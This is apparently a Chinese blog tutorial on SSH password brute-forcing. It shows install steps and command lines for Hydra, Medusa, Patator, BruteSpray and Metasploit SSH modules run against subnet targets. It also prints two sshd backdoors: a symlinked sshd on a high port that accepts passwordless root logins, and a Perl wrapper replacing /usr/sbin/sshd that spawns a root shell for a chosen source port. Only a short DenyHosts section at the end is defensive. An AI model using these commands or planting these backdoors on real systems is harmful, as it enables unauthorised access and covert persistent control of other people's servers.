Linux SSH密码暴力破解技术及攻击实战
Linux SSH密码暴力破解技术及攻击实战
1 | sudo apt-get install libssl-dev libssh-devlibidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-devfirebird2.1-dev libncp-dev hydra |
1 | yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel |
1 2 3 4 5 | # tar zxvf hydra-7.6-src.tar.gz # cd hydra-6.0-src # ./configure # make # make install |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | yum install cmake wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz tar zxf libssh-0.4.8.tar.gz cd libssh-0.4.8 mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON .. make make install cd /test/ssh/hydra-7.6 (此为下载hydar解压的目录) make clean ./configure make make install |
1 | hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | -l LOGIN 指定破解的用户名称,对特定用户破解。 -L FILE 从文件中加载用户名进行破解。 -p PASS小写p指定密码破解,少用,一般是采用密码字典。 -P FILE 大写字母P,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -t TASKS 同时运行的连接的线程数,每一台主机默认为16。 -M FILE 指定服务器目标列表文件一行一条 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -v / -V 显示详细过程。 -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -U 服务模块使用细节 -h 更多的命令行选项(完整的帮助) server 目标服务器名称或者IP(使用这个或-M选项) service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 OPT 一些服务模块支持额外的输入(-U用于模块的帮助) |
1 | git clone https://github.com/jmk-foofus/medusa.git |
1 2 3 | ./configure make make install |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] -h [TEXT] 目标主机名称或者IP地址 -H [FILE] 包含目标主机名称或者IP地址文件 -u [TEXT] 测试的用户名 -U [FILE] 包含测试的用户名文件 -p [TEXT] 测试的密码 -P [FILE] 包含测试的密码文件 -C [FILE] 组合条目文件 -O [FILE] 日志信息文件 -e [n/s/ns] n代表空密码,s代表为密码与用户名相同 -M [TEXT] 模块执行名称 -m [TEXT] 传递参数到模块 -d 显示所有的模块名称 -n [NUM] 使用非默认Tcp端口 -s 启用SSL -r [NUM] 重试间隔时间,默认为3秒 -t [NUM] 设定线程数量 -T 同时测试的主机总数 -L 并行化,每个用户使用一个线程 -f 在任何主机上找到第一个账号/密码后,停止破解 -F 在任何主机上找到第一个有效的用户名/密码后停止审计。 -q 显示模块的使用信息 -v [NUM] 详细级别(0-6) -w [NUM] 错误调试级别(0-10) -V 显示版本 -Z [TEXT] 继续扫描上一次 |
1 | ./medusa -M ssh -H host.txt -U users.txt -p password |
1 | medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt |
1 | medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt -Z h1u1. |
1 | medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns -F |
1 2 3 | git clone https://github.com/lanjelot/patator.git cd patator python setup.py install |
1 2 | Patator v0.7 (https://github.com/lanjelot/patator) Usage: patator.py module --help |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | + ftp_login : 暴力破解FTP + ssh_login : 暴力破解 SSH + telnet_login : 暴力破解 Telnet + smtp_login : 暴力破解 SMTP + smtp_vrfy : 使用SMTP VRFY进行枚举 + smtp_rcpt : 使用 SMTP RCPT TO枚举合法用户 + finger_lookup : 使用Finger枚举合法用户 + http_fuzz : 暴力破解 HTTP + ajp_fuzz : 暴力破解 AJP + pop_login : 暴力破解 POP3 + pop_passd : 暴力破解 poppassd (http://netwinsite.com/poppassd/) + imap_login : 暴力破解 IMAP4 + ldap_login : 暴力破解 LDAP + smb_login : 暴力破解 SMB + smb_lookupsid : 暴力破解 SMB SID-lookup + rlogin_login : 暴力破解 rlogin + vmauthd_login : 暴力破解 VMware Authentication Daemon + mssql_login : 暴力破解 MSSQL + oracle_login : 暴力破解 Oracle + mysql_login : 暴力破解 MySQL + mysql_query : 暴力破解 MySQL queries + rdp_login : 暴力破解 RDP (NLA) + pgsql_login : 暴力破解 PostgreSQL + vnc_login : 暴力破解 VNC + dns_forward : 正向DNS 查询 + dns_reverse : 反向 DNS 查询 + snmp_login : 暴力破解 SNMP v1/2/3 + ike_enum : 枚举 IKE 传输 + unzip_pass : 暴力破解 ZIP加密文件 + keystore_pass : 暴力破解Java keystore files的密码 + sqlcipher_pass : 暴力破解 加密数据库SQL Cipher的密码- + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes + tcp_fuzz : Fuzz TCP services + dummy_test : 测试模块 |
1 | ./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt |
1 | ./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt |
1 | apt-get install brutespray |
1 2 3 | git clone https://github.com/x90skysn3k/brutespray.git cd brutespray pip install -r requirements.txt |
1 | -h, --help 显示帮助信息并退出 |
1 2 3 4 5 6 7 8 9 10 11 | -f FILE, --file FILE 参数后跟一个文件名, 解析nmap输出的GNMAP或者XML文件 -o OUTPUT, --output OUTPUT 包含成功尝试的目录 -s SERVICE, --service SERVICE 参数后跟一个服务名, 指定要攻击的服务 -t THREADS, --threads THREADS 参数后跟一数值,指定medusa线程数 -T HOSTS, --hosts HOSTS 参数后跟一数值,指定同时测试的主机数 -U USERLIST, --userlist USERLIST 参数后跟用户字典文件 -P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件 -u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破 -p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破 -c, --continuous 成功之后继续爆破 -i, --interactive 交互模式 |
1 | nmap -v 192.168.17.0/24 -oX nmap.xml |
1 | nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml |
1 | nmap –sP 192.168.17.0/24 -oX nmaplive.xml |
1 | nmap -sV –O 192.168.17.0/24 -oX nmap.xml |
1 | python brutespray.py --file nmap.xml –i |
1 | python brutespray.py --file 22.xml -U /usr/share/brutespray/wordlist/ssh/user -P /usr/share/brutespray/wordlist/ssh/password --threads 5 --hosts 5 |
1 | python brutespray.py --file nmap.xml --service ftp,ssh,telnet --threads 5 --hosts 5 |
1 2 | python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5 ./brutespray.py -f 22.xml -u root -p toor --threads 5 --hosts 5 |
1 | python brutespray.py --file nmap.xml --threads 5 --hosts 5 –c |
1 | python brutespray.py --file nmap.xml --threads 5 --hosts 5 |
1 | ssh root@192.168.17.144 |
1 2 3 4 | use auxiliary/scanner/ssh/ssh_enumusers set rhost 191.168.17.147 set USER_FILE /root/user run |
1 2 3 | use auxiliary/scanner/ssh/ssh_version set rhosts 192.168.157.147 run |
1 2 3 4 5 | use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.17.147 set PASS_FILE /root/pass.txt set USER_FILE /root/user.txt run |
1 | ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223; |
1 2 | cd /usr/sbin mv sshd ../bin |
1 2 3 4 | vi sshd //加入以下内容并保存 #!/usr/bin/perl exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV; |
1 | chmod 755 sshd |
1 | socat STDIO TCP4:target_ip:22,sourceport=19526 |
1 2 3 4 5 6 | wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz tar -zxvf socat-1.7.3.2.tar.gz cd socat-1.7.3.2 ./configure make make install |
1 2 | chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh |
1 2 | hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh |
1 2 | medusa -M ssh -h 192.168.157.131 -u root -P newpass.txt medusa -M ssh -h 192.168.157.131 -u root -P /root/newpass.txt -e ns –F |
1 2 | ./patator.py ssh_login host=192.168.157.131 user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.' ./patator.py ssh_login host=192.168.157.131 user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authentication failed.' |
1 2 | nmap -A -p 22 -v 192.168.17.0/24 -oX 22.xml python brutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5 |
1 2 3 4 5 | use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.17.147 set PASS_FILE /root/pass.txt set USER_FILE /root/user.txt run |
1 2 3 | # tar -zxvf DenyHosts-2.6.tar.gz # cd DenyHosts-2.6 # python setup.py install |
1 2 3 | # cd /usr/share/denyhosts/ # cp denyhosts.cfg-dist denyhosts.cfg # vi denyhosts.cfg |
1 2 3 4 5 6 7 8 9 10 11 12 13 | PURGE_DENY = 50m #过多久后清除已阻止IP HOSTS_DENY = /etc/hosts.deny #将阻止IP写入到hosts.deny BLOCK_SERVICE = sshd #阻止服务名 DENY_THRESHOLD_INVALID = 1 #允许无效用户登录失败的次数 DENY_THRESHOLD_VALID = 10 #允许普通用户登录失败的次数 DENY_THRESHOLD_ROOT = 5 #允许root登录失败的次数 WORK_DIR = /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中 DENY_THRESHOLD_RESTRICTED = 1 #设定 deny host 写入到该资料夹 LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。 HOSTNAME_LOOKUP=NO #是否做域名反解 ADMIN_EMAIL = #设置管理员邮件地址 DAEMON_LOG = /var/log/denyhosts #自己的日志文件 DAEMON_PURGE = 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。 |
1 2 3 4 5 | # cp daemon-control-dist daemon-control # chown root daemon-control # chmod 700 daemon-control 完了之后执行daemon-contron start就可以了。 # ./daemon-control start |
1 2 3 4 | # ln -s /usr/share/denyhosts/daemon-control /etc/init.d/denyhosts # chkconfig --add denyhosts # chkconfig denyhosts on # service denyhosts start |
相关资源:SSH字典爆破密码攻击工具